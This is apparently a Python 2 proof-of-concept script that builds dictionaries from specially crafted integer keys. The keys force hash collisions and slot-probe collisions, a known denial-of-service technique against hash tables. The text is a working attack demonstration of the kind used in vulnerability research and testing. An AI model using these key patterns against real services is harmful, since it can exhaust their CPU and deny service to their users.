def integer_hash_collisions(max=1000): print 'Hash collision attack:' d = {} for x in xrange(max): i = x*(2**64 - 1) + 1 #print 'adding %i with hash %i' % (i, hash(i)) d[i] = 1 print 'generated dict with %i items' % len(d) return d def integer_slot_collisions(max=1000): print 'Slot collision attack:' # Fill the dict slots starting at (hash) position 1 d = {1:1} i = 1 perturb = i print 'seeding the dict:' for x in xrange(max): i = ((i << 2) + i + perturb + 1) & 0xffffffffffffffff #print 'adding %i with hash %i' % (i, hash(i)) d[i] = 1 perturb >>= 5 # Add new keys print 'generating slot collisions:' # cause a hash collision on the first try to enter the # prepared slot collision path i = 1*(2**64 - 1) + 1 for x in xrange(max): #print 'adding %i with hash %i' % (i, hash(i)) d[i] = 1 print 'generated dict with %i items' % len(d) return d integer_hash_collisions(1000) integer_slot_collisions(1000)